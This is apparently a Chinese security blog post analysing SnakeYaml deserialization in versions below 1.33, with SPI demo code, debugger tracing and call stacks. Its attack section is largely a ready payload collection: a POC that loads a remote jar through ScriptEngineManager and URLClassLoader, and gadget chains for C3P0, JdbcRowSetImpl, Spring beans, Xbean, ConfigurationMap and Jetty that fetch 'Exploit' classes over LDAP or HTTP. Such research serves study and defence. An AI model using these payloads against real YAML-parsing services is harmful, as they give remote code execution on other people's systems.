SnakeYaml反序列化分析

前言

SnakeYaml是Java中解析yaml的库，而yaml是一种人类可读的数据序列化语言，通常用于编写配置文件等。yaml真是到哪都有啊。

环境搭建

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.32</version>
</dependency>

SPI机制

介绍

SPI机制就是，服务端提供接口类和寻找服务的功能，客户端用户这边根据服务端提供的接口类来定义具体的实现类，然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别，API是服务端自己提供接口类并自己实现相应的类供客户端进行调用，而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。

例子

准备一个接口

package com.ctf.Impl;

public interface Shopping {
    String buyMask();
}

准备两个实现类

package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyN95 implements Shopping {
    @Override
    public String buyMask() {
        return "Buy N95";
    }
}

package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyNormal implements Shopping {
    @Override
    public String buyMask() {
        return "Buy Normal";
    }
}

在resources目录下新建目录META-INF/services，在services目录下建一个配置文件，配置文件名为接口类的路径+名称，比如我的就是com.ctf.Impl.Shopping，写入两个实现类路径

然后把项目打包成jar包，File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies，记得选择把META-INF添加，Build Artifacts

out目录下有jar包，这时新建一个项目，把生成的jar包作为依赖导入

我们可以把上面生成的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar，然后下面写入的测试代码，就是服务端的代码，服务端引入了jar包和其中的META-INF/services下的配置文件，通过ServiceLoader.load执行了相关操作。

Setter

准备一个POJO

package com.ctf.POJO;

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}

序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        String str = serialize(user);
        System.out.println(str);
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

getter和setter都调用了

反序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        //        String str = serialize(user);
        //        System.out.println(str);
        unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

只调用了setter

SnakeYaml反序列化漏洞

影响版本：1.33以下的全版本

攻击测试

github有个写好的SPI：https://github.com/artsploit/yaml-payload/tree/master，打包成jar包就行

package com.ctf;

import org.yaml.snakeyaml.Yaml;

public class POC {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8000/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

流程分析

load处打断点，跟进

跟进loadFromReader

跟进getSingleData

这里对tag进行了修改，变为一种yaml规范的格式，这个是个重点，先记住，跟进constructDocument方法

跟进constructObject方法

跟进check

可以看出是要准备实例化了，进入constructor.construct

继续跟进construct，代码有点多，看重点代码

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

这里value有一个嵌套，他会一层层的往里去实例化，最后分别作为各自的参数，比如UrlClassLoader是ScriptEngine的参数，Url是UrlCLassLoader的参数。然后实例化的顺序是从URL->URLCLASSLOADER->ScriptEngine顺序去实例化的

最后会实例化

因为有个迭代，迭代完才能到这里实例化，所以我们直接在ScriptEngineManage的实例化方法给断点

跟进init方法

跟进initEngines方法

这里调用ServiceLoader

这里就会去加载用户自定义的实现类，也就会触发我们写的恶意类

男男搭配，干活不累

干活不累，但是调试很累，所以师傅们自己调试吧，就不写上面了

SnakeYaml+C3P0

之前研究过C3P0，有两条链，不出网的是HEX，出网的是JNDI，放payload

JNDI（对应setJndiName）

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
  jndiName: "ldap://localhost:1099/Exploit"
  loginTimeout: 0

HEX（对应实例化方法）

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"

SnakeYaml+JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: "ldap://localhost:1389/Exploit"
  autoCommit: true

SnakeYaml+PropertyPathFactoryBean

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
  targetBeanName: "ldap://localhost:1389/Exploit"
  propertyPath: mi1k7ea
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

调用栈

lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

SnakeYaml+DefaultBeanFactoryPointcutAdvisor

!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
  adviceBeanName: "ldap://localhost:1389/Exploit"
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

SnakeYaml+Xbean

!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

这个使用BadAttibute的构造方法触发Xbean的toString

SnakeYaml+ConfigurationMap

!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]

调用栈：

getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:528, AbstractMap (java.util)
constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)

SnakeYaml+Jetty

[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]

<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
lookup:503, NamingContext (org.eclipse.jetty.jndi)
lookup:578, NamingContext (org.eclipse.jetty.jndi)
bind:69, NamingUtil (org.eclipse.jetty.jndi)
save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
<init>:39, Resource (org.eclipse.jetty.plus.jndi)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)